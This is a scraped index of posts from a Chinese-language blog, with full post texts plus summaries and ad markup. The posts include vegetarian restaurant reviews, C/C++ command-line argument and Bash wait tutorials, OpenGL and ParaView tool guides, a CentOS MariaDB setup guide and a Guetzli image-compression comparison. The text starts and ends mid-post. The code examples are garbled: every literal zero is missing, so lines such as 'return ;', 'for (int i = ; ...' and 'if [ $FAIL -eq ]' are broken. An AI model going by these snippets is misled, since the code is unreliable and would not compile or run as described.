Q，配上韓式泡菜，裡面還有一些菇類。\n因為裡面是韓式泡菜，所以這一道菜有點辣，喜歡吃辣的人應該會喜歡。\n為了因應全素與蛋奶素的需求，主廚特別推出兩種版本的韓式辣炒年糕。下面這道是蛋奶素的韓式辣炒年糕，上面灑滿乳酪絲，還有海苔，非常好吃。\n這一道是總匯三明治，我家阿玄的最愛。\n若需要全素的總匯三明治，也可以請主廚調整一下沙拉與素排，改成全素的版本。\n這是小朋友喜愛的造型饅頭，有各種卡通造型。有寶貝球，皮卡丘，喵，小兔子，小豬，與熊貓造型。小朋友的目光都集中在這一盤。\n有了這些造型饅頭，可以讓小朋友喜歡上這次聚餐，乖乖用餐。\n可愛的小兔子饅頭。\n我們家阿玄最愛這個寶貝球饅頭。\n小豬饅頭也很可愛。\n這個喵喵造型饅頭，真的很像。\n這一道是越南春捲，這道料理的廚師是越南人。中間那一小盤是全素的，外圍的則是蛋素。道地的越南春捲真的很好吃。\n這是蛋素的越南春捲。\n這是全素的越南春捲，全素的春捲也非常好吃！\n這是黑胡椒素排，這個素排品質很不錯，比較沒有太多的添加物。\n黑胡椒素排口味不錯。接受度也很高。\n這是黑糖造型湯圓，大顆的湯圓裡面有包花生，這一道也是針對小朋友設計的餐點。黑糖熬煮的湯汁很好喝。不知道湯圓是不是因為冷掉的關係，感覺有點硬。\n這一道是綜合軍艦壽司，整盤都是全素的。\n這是韓式素食煎餅，原本主廚是打算製作韓式泡菜煎餅，但考慮要給小朋友吃，所以改成這種不會辣的韓式蔬菜煎餅，白色三角形聽說是麻糬，可是吃起來怎麼不像，但是朋友們覺得不錯吃。\n韓式煎餅，沾上主廚特調醬汁，不錯吃。\n這一鍋是全素的南瓜濃湯，是用南瓜樹蔬食館自己種的南瓜，整顆南瓜連皮連籽所熬煮的，非常好喝。本來主廚是要做奶素的南瓜濃湯，不過因為我們很多人吃全素，所以改成這種全素的，我感覺這樣也非常好喝。\n這是烤土司，可加在南瓜濃湯上當配料。\n下面是阿玄用餐的照片。阿玄最喜歡的就是這一盤造型饅頭。\n阿玄一開始就指定他要這個寶貝球饅頭，朋友家的小朋友家教很好加上年紀也比阿玄大些，就禮讓給阿玄了。\n阿玄很開心端著神奇寶貝球饅頭。\n阿玄吃得很開心。\n造型饅頭魅力真不小，很快就收服阿玄了。\n阿玄也跟我一樣喜歡總匯三明治。\n以下是把各種菜色裝在小盤子裡的樣子。讓人超有食慾的。\n一開始先吃這個馬鈴薯沙拉球，吃完後發現超有飽足感。\n總匯三明治。很好吃。也是阿玄的最愛。\n全素與蛋素的越南春捲。平常少有機會吃到越南蔬食料理的我，第一次吃到，真的很喜歡。\n這盤我是把韓式素食煎餅與壽司放在一起。\n陶燒猴頭菇與鐵板三杯菇。這樣擺起來，真的不輸高級餐廳的菜色。\n這是香椿拌飯與拔絲地瓜。擺在一起還蠻搭。真的吃過很多素食宴席，但是大新營Buffet蔬食料理，我更喜愛。\n這一盤是韓式涼拌冬粉與壽司。視覺上就讓人很滿足。\n這是全素的韓式辣炒年糕。怕辣的我吃不多，也是第一次吃到韓國年糕，它的Q度我還在慢慢適應中。真的超Q的。裡面有加了一些菇類，有點辣的菇吃起來還真不錯。\n這一碗是全素的南瓜濃湯。這是一道大家都喜歡的濃湯，雖然是全素的，但是很好喝。\n這是素生魚片與壽司，還有芥末與沾醬。素生魚片，直接沾哇沙米吃，很夠勁。不敢吃那麼嗆的人，就再沾些醬，超好吃的。\n素生魚片沾醬吃，真好吃。\n用小盤子一桌擺起來也很漂亮。\n這道黑胡椒素排，口感很不錯。這樣單獨擺小盤也很好看。\n這是一小盤綜合軍艦壽司。\n這次請大新營異國 buffet 辦的蔬食料理，令人滿意，以後有類似的聚餐，會再考慮請他們辦，只要 10 人以上的小型 buffet 他們都接單，很不錯。\n店名：大新營異國 Buffet 蔬食料理\nBuffet 場地：台南市新營區隋唐街 330 號（南瓜樹蔬食館）\n","permalink":"https://blog.gtwang.org/life/da-sin-ying-united-vegetarian-buffet-sinying-tainan-20170315/","summary":"\u003cp\u003e大新營異國 Buffet 蔬食料理是由幾家新營地區的餐飲店合作，共同推出的蔬食料理，有外燴歐式自助餐（buffet）以及宴席合菜等，可依消費者客製化餐點。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[台南新營素食] 大新營異國 Buffet 蔬食料理，外燴歐式自助餐"},{"content":"本篇教學介紹如何在 C/C++ 程式的 main 函數中，使用 argc 與 argv 兩個參數，取得執行程式時所輸入的指令參數。\nargc 與 argv 參數 C 語言程式的 main 函數如果不需要讀取任何來自於命令列的參數，則 main 函數就使用最簡單的寫法即可：\n#include \u0026lt;stdio.h\u0026gt; int main() { return ; } 若需要將執行程式時，使用者所輸入的命令列參數讀取進來，則可在 main 函數中加上 argc 與 argv 兩個參數：\n#include \u0026lt;stdio.h\u0026gt; int main(int argc, char *argv[]) { printf(\u0026#34;We have %d arguments:\\n\u0026#34;, argc); for (int i = ; i \u0026lt; argc; ++i) { printf(\u0026#34;[%d] %s\\n\u0026#34;, i, argv[i]); } return ; } 使用 gcc 編譯：\n# 編譯 gcc source.c 執行時就可以在命令列輸入要傳給程式的參數：\n./a.out G. T. Wang We have 4 arguments: [0] ./a.out [1] G. [2] T. [3] Wang argv 陣列中包含了在命令列中所輸入的每一個參數，其中第一個元素是程式本身的名稱（在這裡就是./a.out），之後就是執行時所輸入的各個參數，其排列順序就跟輸入時的順序相同。而 argc 是一個整數，其值就是 argv 陣列的長度。\n若執行程式時，不加任何參數，argv 的長度（argc 的值）就會是 1，也就是說 argv 就只包含程式本身的名稱：\n./a.out We have 1 arguments: [0] ./a.out 這是 C++ 版本的程式碼，argc 與 argv 的用法完全相同：\n#include \u0026lt;iostream\u0026gt; int main(int argc, char *argv[]) { std::cout \u0026lt;\u0026lt; \u0026#34;We have \u0026#34; \u0026lt;\u0026lt; argc \u0026lt;\u0026lt; \u0026#34; arguments\u0026#34; \u0026lt;\u0026lt; std::endl; for (int i = ; i \u0026lt; argc; ++i) { std::cout \u0026lt;\u0026lt; \u0026#34;[\u0026#34; \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34;] \u0026#34; \u0026lt;\u0026lt; argv[i] \u0026lt;\u0026lt; std::endl; } return ; } 使用 g++ 編譯：\n# 編譯 g++ source.cpp 執行：\n./a.out G. T. Wang We have 4 arguments [0] ./a.out [1] G. [2] T. [3] Wang 有些人會把 *argv[] 寫成 **argv 這種不同的寫法，就像這樣：\nint main(int argc, char **argv) { // ... } 兩種不同的寫法都是通用的，使用上沒有太大的差異。\n參考資料 GeeksforGeeks ","permalink":"https://blog.gtwang.org/programming/c-cpp-tutorial-argc-argv-read-command-line-arguments/","summary":"\u003cp\u003e本篇教學介紹如何在 C/C++ 程式的 \u003ccode\u003emain\u003c/code\u003e 函數中，使用 \u003ccode\u003eargc\u003c/code\u003e 與 \u003ccode\u003eargv\u003c/code\u003e 兩個參數，取得執行程式時所輸入的指令參數。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"argc-與-argv-參數\"\u003e\u003ccode\u003eargc\u003c/code\u003e 與 \u003ccode\u003eargv\u003c/code\u003e 參數\u003c/h2\u003e\n\u003cp\u003eC 語言程式的 \u003ccode\u003emain\u003c/code\u003e 函數如果不需要讀取任何來自於命令列的參數，則 \u003ccode\u003emain\u003c/code\u003e 函數就使用最簡單的寫法即可：\u003c/p\u003e","title":"C/C++ 程式設計教學：main 函數讀取命令列參數，argc 與 argv 用法"},{"content":"致德蔬食坊是一家位於行天宮捷運站附近的平價素食小吃，有臭豆腐、素蚵仔煎、鍋貼、飯類、麵類，以及越南小吃。\n最近我又要開始每週到台北出差了，之前中午都常去捷運古亭站的客來源素坊用餐，今年想看看台北的捷運站附近有沒有其他不錯的素食店家。\n我從網路上看到行天宮捷運站附近的這一家致德蔬食坊，而實際去吃過之後也感覺它餐點好吃、而且價位合理，所以推薦給大家，這裡除了臭豆腐之外，還有素蚵仔煎、鍋貼、飯類、麵類與各式越南小吃。\n致德蔬食坊距離行天宮捷運站非常近，從行天宮捷運站的四號出口走出來，沿著錦州街經過松江市場，再轉個彎就到了，走過去不用兩分鐘就到了。\n致德蔬食坊就在市場附近，所以這裡早上人潮比較多。\n這是致德蔬食坊的門口。\n這一家致德蔬食坊是由幾位越南人經營的，所以他們的越南小吃可以說非常道地。\n這是店內的座位。\n店內的空間並不是很大，大約只能容納十幾個客人左右。\n這是致德蔬食坊的菜單，雖然是平價小吃，不過餐點的種類真的好多。\n這是剛端上桌的清蒸臭豆腐，今天剛好是寒流的第一天，外頭又下著小雨，這種天氣來吃這個熱呼呼的臭豆腐剛剛好。\n這一籠清蒸臭豆腐本身就有一點微辣，如果感覺不夠辣的人，可以自己再加一些辣椒醬。\n三大塊臭豆腐。\n清蒸臭豆腐吃起來很嫩，很不錯。\n我覺得這麼大塊的臭豆腐可以點一籠，兩三個人一起吃，我在用餐的時候，也看到好幾位客人外帶這個臭豆腐回去吃。\n這一盤是臭豆腐炒飯。\n炒飯味道很好，裡面有切丁的臭豆腐。\n這是我今天點的臭豆腐炒飯與清蒸臭豆腐。\n致德蔬食坊也可以接受便當與各類餐點的預定，今天我來的時候，剛好看到他們準備好多外燴的菜色準備搬上車，有這類需求的人可以聯絡店家洽詢。\n店名：致德蔬食坊\n地址：台北市中山區民權東路二段 92 巷 7 弄 2 號\n電話：0918-655-885\n營業時間：中午 11：00 ～ 14：00、下午 16：00 ～ 20：00（週日公休）\n參考資料 海芋小站 ","permalink":"https://blog.gtwang.org/life/zhide-vegetarian-restaurant-mrt-xingtian-temple-taipei-20170325/","summary":"\u003cp\u003e致德蔬食坊是一家位於行天宮捷運站附近的平價素食小吃，有臭豆腐、素蚵仔煎、鍋貼、飯類、麵類，以及越南小吃。\u003c/p\u003e\n\u003cp\u003e最近我又要開始每週到台北出差了，之前中午都常去捷運古亭站的\u003ca href=\"/life/kelaiyuan-vegetarian-restaurant-mrt-guting-taipei/\"\u003e客來源素坊\u003c/a\u003e用餐，今年想看看台北的捷運站附近有沒有其他不錯的素食店家。\u003c/p\u003e","title":"[台北素食] 致德蔬食坊：清蒸臭豆腐、臭豆腐炒飯，近行天宮捷運站"},{"content":"本篇介紹在 Bash shell 中如何使用 wait 等待背景子行程的執行，並取回每個行程執行結果。\n在 shell 程式設計中，為了讓程式執行起來更有效率，有時會讓多個子行程（subprocess）以 spawn 的方式放在背景執行，平行處理多項不同的工作，通常將需要等待硬碟 I/O 或網路回應的工作放在背景，可以程式執行的速度加快很多。\n而在產生多個子行程之後，我們通常還會需要在程式的某處等待這些工作完成，並且取回執行結果，檢查每個工作是否有執行成功，這個部份就可以使用 wait。\n以下是一些典型的使用範例程式碼。\nwait 等待子行程結束 wait 最基本的作用就是等待所有的子行程都結束，然後才繼續執行之後的工作：\n#!/bin/bash echo \u0026#34;Start\u0026#34; # 平行處理多個工作 sleep 3 \u0026amp;\u0026amp; echo \u0026#34;Job 1 is done\u0026#34; \u0026amp; sleep 2 \u0026amp;\u0026amp; echo \u0026#34;Job 2 is done\u0026#34; \u0026amp; sleep 1 \u0026amp;\u0026amp; echo \u0026#34;Job 3 is done\u0026#34; \u0026amp; # 等待所有工作完成 wait echo \u0026#34;Done\u0026#34; 這裡我放了三個測試用的指令，讓它們平行在背景執行，當每個工作完成時會輸出一行訊息，我故意安排讓執行時間比較久的工作先執行，觀察它們完成的順序。\n執行之後，結果如下：\nStart Job 3 is done Job 2 is done Job 1 is done Done 這裡的 Job 1 雖然是第一個執行的，但因為它需要最常的執行時間，所以最慢完成，wait 會在所有工作都結束之後，才繼續執行後續的指令。\n取得子行程執行結果 放在背景執行的工作若處理結果不如預期，可能就會影響以後的程式執行，所以在子行程結束之後，通常都需要檢查一下其傳回值，確認是否每個工作都有正常完成。\nwait 指令可以在其參數中指定要等待的子行程 ID，這樣的話 wait 就會等待至指定的子行程執行結束，並傳回該子行程的傳回值，以下是一個簡單的範例：\n#!/bin/bash sleep 2 \u0026amp;\u0026amp; true \u0026amp; # 成功 #sleep 2 \u0026amp;\u0026amp; false \u0026amp; # 失敗 PID=$! # 取得上一個背景行程的 ID wait $PID # 等待背景行程執行完畢 # 檢查背景行程的傳回值 if [ $? -eq ]; then echo \u0026#34;Success.\u0026#34; else echo \u0026#34;Fail!\u0026#34; fi Success. 這個範例將 sleep 放在背景執行，然後靠著 Bash 的特殊變數 $! 取得這個背景行程的行程 ID，並將這個行程 ID 傳給 wait，等待這個背景工作執行完畢，最後再從 Bash 的特殊變數 $? 取得 wait 的傳回值（也就是子行程的傳回值），檢查這個背景工作是否有執行成功。\n取得多個子行程執行結果 以下是一個比較複雜一點的範例，在背景工作結束之後，會計算失敗的工作數，判斷所有工作是否都正常完成。\n#!/bin/bash # 計算失敗的工作 FAIL= # 平行處理多個工作 sleep 3 \u0026amp;\u0026amp; echo \u0026#34;Job 1 is done\u0026#34; \u0026amp;\u0026amp; true \u0026amp; # 成功 sleep 2 \u0026amp;\u0026amp; echo \u0026#34;Job 2 is fail\u0026#34; \u0026amp;\u0026amp; false \u0026amp; # 失敗 sleep 1 \u0026amp;\u0026amp; echo \u0026#34;Job 3 is done\u0026#34; \u0026amp;\u0026amp; true \u0026amp; # 成功 # 對每一個子行程執行 wait for job in `jobs -p` do echo \u0026#34;Wait job: ${job}\u0026#34; wait $job || let FAIL+=1 done # 檢查失敗工作數 if [ $FAIL -eq ]; then echo \u0026#34;All jobs are done.\u0026#34; else echo \u0026#34;${FAIL} jobs fail!\u0026#34; fi Wait job: 3598 Job 3 is done Job 2 is fail Job 1 is done Wait job: 3599 Wait job: 3600 1 jobs fail! 這個範例跟上一個大同小異，不過我們同時執行好幾個背景行程，然後使用 jobs -p 取得所有背景行程的行程 ID，放進 for 迴圈中逐一呼叫 wait，並將執行失敗的背景行程數目記錄下來。\n參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/programming/bash-tutorial-parallel-subprocesses-and-wait/","summary":"\u003cp\u003e本篇介紹在 Bash shell 中如何使用 \u003ccode\u003ewait\u003c/code\u003e 等待背景子行程的執行，並取回每個行程執行結果。\u003c/p\u003e\n\u003cp\u003e在 shell 程式設計中，為了讓程式執行起來更有效率，有時會讓多個子行程（subprocess）以 spawn 的方式放在背景執行，平行處理多項不同的工作，通常將需要等待硬碟 I/O 或網路回應的工作放在背景，可以程式執行的速度加快很多。\u003c/p\u003e","title":"Bash 程式設計教學：平行執行背景子行程，用 wait 等待工作結束"},{"content":"這裡介紹如何在 Windows 或 Mac OS X 系統上使用 OpenGL Extensions Viewer 工具檢查 OpenGL 的版本。\nOpenGL Extensions Viewer 是一個可以檢查系統 OpenGL 3D 加速與 Vulkan 3D API 的免費小工具，同時支援 Windows 與 Mac OS X 作業系統，對於 3D 應用軟體開發者非常實用。\n名稱：OpenGL Extensions Viewer\n網址：https://www.realtech-vr.com/glview/\n這是在一個只有內建顯示卡的 Windows 7 旗艦版伺服器上，使用 OpenGL Extensions Viewer 檢查的畫面，OpenGL 版本只有支援到 1.1：\nMac OS X 中也可以使用。\nOpenGL Extensions Viewer 所取得的資料相當詳盡。\nOpenGL Extensions Viewer 還可以做一些簡單的標竿測試（benchmark）。\n測試的結果包含成功與否，以及 FPS 數。\nOpenGL Extensions Viewer 中有內建一個簡單的資料庫，可以查詢市面上常見的顯示卡對於 OpenGL 標準的支援度。\n","permalink":"https://blog.gtwang.org/useful-tools/how-to-check-opengl-version-in-windows-mac-os-x/","summary":"\u003cp\u003e這裡介紹如何在 Windows 或 Mac OS X 系統上使用 OpenGL Extensions Viewer 工具檢查 OpenGL 的版本。\u003c/p\u003e\n\u003cp\u003eOpenGL Extensions Viewer 是一個可以檢查系統 OpenGL 3D 加速與 Vulkan 3D API 的免費小工具，同時支援 Windows 與 Mac OS X 作業系統，對於 3D 應用軟體開發者非常實用。\u003c/p\u003e","title":"如何查看 Windows 與 Mac OS X 所支援的 OpenGL 版本？"},{"content":"這裡示範如何使用 ParaView 的 Trace 功能錄製 Python 指令稿，自動控制 ParaView 執行各種工作。\nParaView 本身就有支援 Python 語言的指令操作介面，在 GUI 視窗介面上的每一項操作都可以使用 Python 指令的方式達成，對於有自動化需求的人，就可以使用 Python 來撰寫指令稿控制 ParaView 處理各項繪圖工作。\n然而 ParaView 的 Python API 非常多，對於剛入門的初學者來說不太好學，最快速的學習方式就是使用 ParaView 的 Trace 功能，將視窗介面中的每個互動式操作錄製下來，自動產生一份完整的 Python 指令稿，再從這個指令稿去修改，這樣就可以非常快速的解決一般性的自動化問題，減少自行撰寫程式的時間。\n以下是在 ParaView 中用 Trace 功能錄製 Python 指令稿的步驟教學。\nStep 1\n在 ParaView 的主選單中，選擇「Tools」底下的「Start Trace」。\nStep 2\n設定一些錄製選項，若要讓 ParaView 錄製比較細部的動作就可以在這裡調整，一般來說用預設值即可。\n點選「OK」之後，ParaView 就會開始把接下來所有的操作錄製起來。\nStep 3\n在 ParaView 的 GUI 視窗介面中，將未來要讓 ParaView 自動化處理的工作，以手動的方式操作一次，讓 ParaView 錄製起來。\n這裡我是將範例資料的 headsq.vti 檔打開，然後套用一個 isosurface，並將顏色調成紅色。\nStep 4\n操作完所有的動作之後，再選擇「Tools」的「Stop Trace」，讓 ParaView 終止錄製指令稿。\nStep 5\n錄製完成之後，就會產生類似這樣的 Python 指令稿，這些就是剛剛所有的操作所對應的 Python 指令，以這份基本的指令稿為基礎，要開發自己的自動化程式就比較輕鬆了。\nStep 6\n撰寫好的 Python 指令稿，可以透過 ParaView 的 Python Shell 來執行，請選擇「Tools」的「Python Shell」。\nStep 7\n在 ParaView 的 Python Shell 中，我們可以將寫好的 Python 指令用複製貼上的方式貼過來執行，或是將指令稿存檔後，用這裡的「Run Script」來執行也可以。\nStep 8\n另外一種執行 ParaView Python 指令稿的方式是在 ParaView 之外，直接使用 ParaView 所附帶的 pvpython 來執行 Python 指令稿：\npvpython myscript.py 如果想要使用 Python 指令稿開啟互動式的 ParaView 視窗，讓使用者可以進行轉動、放大等操作，則要自己在 Python 指令稿結尾處加上一行開啟互動式視窗的 Interact 指令：\n# 開啟互動式 ParaView 視窗 paraview.simple.Interact(view=None) 用 pvpython 來開啟 ParaView 的互動式視窗會類似這樣：\n如果想要在 ParaView 應用程式啟動時，自動執行 Python 指令稿，可以使用 --script 參數，另外若要自動連上指定的 ParaView 伺服器，則可配合 --server 參數。例如：\nparaview --server=my_server --script=myscript.py --server 參數在使用前，要先在 ParaView 中編輯伺服器的設定，然後才能在這邊以伺服器的名稱（這個名稱是自己指定的）來指定伺服器。\n參考資料 ParaView Guide 官方手冊 ","permalink":"https://blog.gtwang.org/programming/paraview-trace-python-script-tutorial/","summary":"\u003cp\u003e這裡示範如何使用 ParaView 的 Trace 功能錄製 Python 指令稿，自動控制 ParaView 執行各種工作。\u003c/p\u003e\n\u003cp\u003eParaView 本身就有支援 \u003ca href=\"https://www.paraview.org/paraview-docs/nightly/python/\"\u003ePython 語言的指令操作介面\u003c/a\u003e，在 GUI 視窗介面上的每一項操作都可以使用 Python 指令的方式達成，對於有自動化需求的人，就可以使用 Python 來撰寫指令稿控制 ParaView 處理各項繪圖工作。\u003c/p\u003e","title":"ParaView 錄製 Python 指令稿，自動控制 ParaView 執行各種工作教學"},{"content":"這裡介紹如何在 CentOS Linux 7 中安裝 MySQL/MariaDB 資料庫。\nMySQL 資料庫分家之後，社群版本變成 MariaDB，不過目前大部分的指令都沒有變。以下我以 CentOS Linux 內建的 MariaDB 套件示範 CentOS Linux 安裝與設定 MySQL/MariaDB 資料庫的過程。\n安裝 MySQL/MariaDB 資料庫 先更新 CentOS Linux 系統上的套件：\nsudo yum update 安裝 MariaDB 伺服器：\nsudo yum install mariadb-server 啟用 MariaDB 的 service（讓開機自動啟動）：\nsudo systemctl enable mariadb 立即啟動 MariaDB 的 service：\nsudo systemctl start mariadb 檢查 MariaDB 伺服器是否有正常啟動：\nsystemctl status mariadb 預設的 MariaDB 只能從 localhost（127.0.0.1）連線，因為安全性的因素，通常不建議隨便開放外面的存取。\n剛安裝好 MariaDB 時，建議執行一次 mysql_secure_installation 這個安全性設定工具：\n# 進行安全性設定 sudo mysql_secure_installation 這個設定工具可以幫助管理者設定 root 密碼、移除匿名登入帳號、禁止 root 從遠端登入、移除測試用的資料庫。\n使用 root 帳號登入 MariaDB 伺服器：\nmysql -u root -p 正常的話，就會進入 MySQL/MariaDB 互動式的操作畫面：\n新增 MySQL/MariaDB 資料庫與使用者 先在 MySQL/MariaDB 中建立一個資料庫（database）：\ncreate database testdb; 然後新增一個使用者帳號，並設定密碼：\ncreate user \u0026#39;testuser\u0026#39;@\u0026#39;localhost\u0026#39; identified by \u0026#39;password\u0026#39;; 設定 testuser 這個帳號可以使用 testdb 這個資料庫：\ngrant all on testdb.* to \u0026#39;testuser\u0026#39;@\u0026#39;localhost\u0026#39;; 新增完成後，就可以離開 MySQL/MariaDB 了。\nexit 新增資料表 在建立好資料庫之後，接著就要依照自己的需求來建立資料表，以下是典型的資料表建立流程，請視自己的狀況來修改程式碼。\n使用 testuser 帳號登入 MySQL/MariaDB 資料庫：\nmysql -u testuser -p 選擇使用 testdb 資料庫：\nuse testdb; 建立自己的資料表：\ncreate table Persons ( PersonID int, LastName varchar(255), FirstName varchar(255), Address varchar(255), City varchar(255) ); 檢查資料表：\nshow tables; 確認無誤後，離開 MySQL/MariaDB：\nexit 匯入 *.sql 檔 如果要從其他的 MySQL/MariaDB 將資料複製過來，可將舊的資料庫匯出成 *.sql 檔，然後在 Linux 的 shell 中將資料匯入：\nmysql -u testuser -p \u0026lt; data.sql 其實 *.sql 檔的內容就是 MySQL 的指令，有時候不同的 *.sql 檔案內容在匯入時會有些差異，最直接的方式就是把 *.sql 檔用文字編輯器打開來看看。\n重設 MySQL/MariaDB 資料庫 root 密碼 若忘記了 MySQL/MariaDB 資料庫 root 密碼，可將 MySQL/MariaDB 資料庫服務暫停，另外開啟一個 mysqld_safe 來設定 root 密碼：\nsudo systemctl stop mariadb sudo mysqld_safe --skip-grant-tables \u0026amp; 連線至 MySQL/MariaDB 資料庫：\nmysql -u root 重新設定 root 密碼：\nuse mysql; update user SET PASSWORD=PASSWORD(\u0026#34;password\u0026#34;) WHERE USER=\u0026#39;root\u0026#39;; flush privileges; exit 重新啟動 MySQL/MariaDB 的服務：\nsudo systemctl start mariadb 效能調校 MySQL Tuning Primer 是一個可以用來調整 MySQL/MariaDB 資料庫效能的工具，在使用這個工具之前至少要讓 MySQL/MariaDB 資料庫運行一天以上，資料庫運行的時間越久，使用這個工具調校所得到的效果會越好。\n先安裝 bc：\nsudo yum install bc 下載 MySQL Tuner 指令稿：\nwget https://raw.githubusercontent.com/BMDan/tuning-primer.sh/main/tuning-primer.sh chmod u+x tuning-primer.sh 執行：\nsudo ./tuning-primer.sh 當被詢問是否要針對 /var/lib/mysql/mysql.sock 以外的 MySQL socket 做調校，請選擇 N。\n參考資料 Linode ","permalink":"https://blog.gtwang.org/linux/centos-7-install-mariadb-mysql-server-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 CentOS Linux 7 中安裝 MySQL/MariaDB 資料庫。\u003c/p\u003e\n\u003cp\u003eMySQL 資料庫分家之後，社群版本變成 MariaDB，不過目前大部分的指令都沒有變。以下我以 CentOS Linux 內建的 MariaDB 套件示範 CentOS Linux 安裝與設定 MySQL/MariaDB 資料庫的過程。\u003c/p\u003e","title":"CentOS Linux 7 安裝 MySQL/MariaDB 資料庫教學"},{"content":"本篇介紹如何使用 Guetzli 壓縮大量圖片，並比較 Guetzli 與 TinyPNG 的壓縮結果。\nGuetzli 是一套由 Google 所開發的 JPEG 圖片壓縮演算法，與現有的 libjpeg 相比，可將高品質的圖片大小減少 20% 至 30% 左右，並且完全相容於現有的瀏覽器與各種應用程式，因此若應用於網頁的圖片壓縮上，可以大幅降低資料傳輸量，增進網頁載入速度。\n最近 Guetzli 以開放原始碼的授權被釋出，其原始碼可從 GitHub 網站上下載。\n名稱：Guetzli JPEG 圖片壓縮編碼器\n網站：GitHub\n下載：Guetzli Release\n以下介紹如何在各種系統中安裝與使用 Guetzli，壓縮自己的 JPEG 圖檔。\n安裝 Guetzli Guetzli 的 GitHub 網頁上有提供各種編譯好的版本，適用於 Windows、Mac OS X 與 Linux，對於一般只是要壓縮圖片的使用者，建議直接下載這個版本即可。\n自行編譯安裝 如果要使用 Guetzli 的演算法自行撰寫應用程式時，就會需要自行編譯原始碼的版本，以下是在各個系統中編譯 Guetzli 的方式，詳細說明請參考 Guetzli 的 GitHub 網頁。\nLinux 安裝 libpng 與 gflags，在 Debian 的 Linux 可用 apt 安裝：\napt-get install libpng-dev libgflags-dev Arch Linux 則執行：\npacman -S libpng gflags 接著將 Guetzli 的原始碼解壓縮之後，使用 make 編譯即可。\nmake Windows 在 Windows 中若要自行編譯 Guetzli，必須安裝 Visual Studio 2015 與 vcpkg，然後使用 vcpkg 安裝 libpng：\n.vcpkg install libpng .vcpkg integrate install 最後再用 Visual Studio 2015 編譯 Guetzli 的專案。\nMac OS X 在 Mac OS X 中要先安裝 Homebrew 或 MacPorts，接著再用 Homebrew 或 MacPorts 安裝 libpng：\nbrew install libpng 或\nport install libpng 接著使用 make 編譯：\nmake 若使用 MacPorts 的話，編譯時再再加上一些參數：\nCFLAGS=\u0026#39;-I/opt/local/include\u0026#39; LDFLAGS=\u0026#39;-L/opt/local/lib\u0026#39; make 另外 Homebrew 也可以直接安裝 Guetzli：\nbrew install guetzli 使用 Guetzli 壓縮圖片 在不同作業系統中使用 Guetzli 壓縮圖片的方法都差不多，主要的差異是在指令搞的寫法，Guetzli 指令本身的用法都是一樣的。\nMac OS X 與 Linux 在 Mac OS X 與 Linux 中都可以使用 bash 來撰寫壓縮的指令稿，首先將 Guetzli 執行檔下載後，設定可執行的權限：\nchmod +x guetzli_darwin_x86-64 指令說明可參考 -help 參數的輸出：\n./guetzli_darwin_x86-64 -help 這是將整個目錄下所有的 *.jpg 圖檔交給 Guetzli 壓縮的 bash 指令稿，而輸出的圖檔名稱就是在原本的檔案名稱後面加上 -guetzli：\nfor file in *.jpg do ext=\u0026#34;${file##*.}\u0026#34; # 主檔名 name=\u0026#34;${file%.*}\u0026#34; # 副檔名 ./guetzli_darwin_x86-64 \u0026#34;${file}\u0026#34; \u0026#34;${name}-guetzli.${ext}\u0026#34; done Windows 在 Windows 中也可以利用指令搞的方式壓縮大量圖片，這是我在 StackOverflow 上看到的方法：\nsetlocal disableDelayedExpansion for /f \u0026#34;delims=\u0026#34; %%A in (\u0026#39;forfiles /s /m *.jpg /c \u0026#34;cmd /c echo @relpath\u0026#34;\u0026#39;) do ( set \u0026#34;file=%%~A\u0026#34; setlocal enableDelayedExpansion echo !file:~2! CALL \u0026#34;guetzli.exe\u0026#34; --quality 85 !file:~2! !file:~2! endlocal ) 這是一個 DOS 的 batch 指令搞，它在壓縮之後會直接將原始圖檔覆蓋掉。\n測試結果 我從 pixabay 網站上下載了 12 張照片，每張圖片的大小大約是 1920×1280 左右。\n我在我的 iMac 電腦（CPU 是 Intel Core i5 3.1 GHz）測試使用 Guetzli 壓縮 12 張圖片，分別以 95%、90%、85% 這幾個 quality 去壓縮，並且與我常用的 TinyPNG 做比較，以下是 12 張圖片的測試結果。\nGuetzli 壓縮之後大部份都還是比 TinyPNG 的還大，若要壓的比 TinyPNG 還要小，應該是要選擇 85% 以下的 quality。乍看之下似乎 TinyPNG 比較好，但是我實際使用 ImageMagick 的 identify 去檢查壓縮後的 JPEG 圖檔 quality，發現 TinyPNG 的 quality 變動很大。使用 identify 查詢圖檔 quality 的指令如下：\nidentify -verbose filename.jpg 若要一次取得多張圖檔的 quality，可以這樣寫：\nidentify -format \u0026#39;%Qn\u0026#39; *.jpg 我把所有圖檔的 quality 抓出來，結果如下：\n看起來 Guetzli 壓縮之後，quality 還是維持相當高的狀態，但是檔案卻可以明顯變小，而 TinyPNG 應該就是犧牲 quality 來換取檔案大小，實務上我們應該是可以使用 Guetzli 配合 80%、甚至更低的 quality 來壓縮圖片，得到的效果應該是不會輸 TinyPNG。\n這裡我感覺 Guetzli 所指定的 quality 參數好像跟 JPEG 的 quality 值不太一樣，即便我指定較低的 quality，Guetzli 壓出來的 JPEG 圖的 quality 還是很高，但檔案大寫確實有變小。\n在壓縮的時間上，TinyPNG 是一個線上壓縮圖片的服務，一般來說 12 張圖片上傳加上壓縮與下載，一分鐘以內一定可以完成，而 Guetzli 以 95% 的 quality 壓縮 12 張圖片卻花了 38 分 40 秒，真的非常久，其他的 quality 也差不多是這樣的時間。\ntime ./script.sh real\t38m40.551s user\t37m0.860s sys\t1m28.546s Guetzli 的大問題就是壓縮圖片要花很久的時間，可能適合放在伺服器上作為背景服務使用。\n補充資料 這裡的直方圖我是用 R 語言畫的，程式碼如下：\nlibrary(reshape2) library(ggplot2) plot.barplot \u0026lt;- function(file, val.name) { df \u0026lt;- read.csv(file) df.reshape \u0026lt;- melt(df, id.vars = 